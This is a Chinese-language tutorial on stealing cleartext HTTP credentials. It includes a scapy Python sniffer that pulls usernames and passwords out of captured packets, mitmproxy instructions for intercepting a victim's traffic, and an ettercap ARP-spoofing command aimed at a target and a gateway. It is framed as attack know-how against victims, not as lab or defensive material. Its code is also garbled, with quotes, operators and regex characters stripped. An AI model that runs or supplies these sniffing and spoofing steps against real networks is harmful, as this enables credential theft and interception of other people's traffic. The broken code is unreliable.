Clear Text HTTP (Credentials) 攻击手法 python脚本以及 相关工具
目录1. 使用 scapy 进行网络嗅探安装 scapyPython 脚本嗅探 HTTP 流量脚本解释2. 中间人攻击工具mitmproxy安装 mitmproxy使用 mitmproxy 进行中间人攻击mitmproxy 特性3. 中间人攻击ettercap安装 ettercap使用 ettercap 进行 ARP 欺骗攻击ettercap 特性总结1.使用scapy进行网络嗅探scapy是一个强大的 Python 库可以用于嗅探网络流量并解析数据包。以下是一个基本的脚本用于嗅探 HTTP 流量捕获未加密的凭证信息。安装scapypip install scapyPython 脚本嗅探 HTTP 流量from scapy.all import * import re # 定义一个回调函数来处理捕获的数据包 def packet_callback(packet): if packet.haslayer(TCP) and packet.haslayer(Raw): raw_data packet[Raw].load # 检查是否为 HTTP 数据 if bHTTP in raw_data: try: # 尝试解码为 UTF-8 raw_data raw_data.decode(utf-8, ignore) # 查找登录凭证如用户名和密码 if POST in raw_data or GET in raw_data: # 使用正则表达式提取用户名和密码 creds re.findall(r(\w)([^\]), raw_data) if creds: print(fCaptured Credentials: {creds}) except Exception as e: pass # 启动嗅探并监听网络接口通常是 eth0 或 wlan0 sniff(prnpacket_callback, store0)脚本解释该脚本通过scapy捕获 TCP 数据包并检查是否包含 HTTP 请求。使用正则表达式从 HTTP 请求中提取用户名和密码例如usernamefoopasswordbar。sniff函数持续监听网络接口中的流量。2.中间人攻击工具mitmproxymitmproxy是一个强大的中间人代理工具可以拦截和修改 HTTP/HTTPS 请求和响应。它可以帮助攻击者获取 HTTP 请求中的敏感信息如凭证。安装mitmproxypip install mitmproxy使用mitmproxy进行中间人攻击启动mitmproxy作为中间人代理mitmproxy --mode http配置受害者的浏览器或应用程序使用代理代理地址127.0.0.1localhost代理端口8080mitmproxy会拦截经过该代理的所有 HTTP 请求和响应。可以查看请求中的敏感信息如用户名和密码。mitmproxy特性拦截并修改 HTTP 请求/响应。捕获 HTTP 请求中的表单数据用户名、密码。支持 HTTPS 中间人攻击需要安装根证书到客户端。提供一个交互式命令行界面便于实时查看和修改请求。3.中间人攻击ettercapettercap是另一个流行的网络嗅探和中间人攻击工具支持多种攻击模式包括 ARP 欺骗。安装ettercapsudo apt-get install ettercap-text-only使用ettercap进行 ARP 欺骗攻击启动ettercap并启用中间人攻击sudo ettercap -T -M arp:remote /target_ip/ /gateway_ip/这将使用 ARP 欺骗攻击将受害者的流量劫持到攻击者的机器上。所有通过受害者发送的 HTTP 请求可以被捕获并分析其中的凭证信息。ettercap特性支持 ARP 欺骗和 DNS 欺骗。可以拦截 HTTP 请求并注入恶意代码或窃取凭证。支持多种协议的嗅探和篡改。总结scapy用于捕获网络流量分析并提取未加密的 HTTP 数据。mitmproxy用于中间人攻击拦截和修改 HTTP/HTTPS 流量适合更复杂的攻击。ettercap适用于通过 ARP 欺骗进行中间人攻击劫持受害者的流量。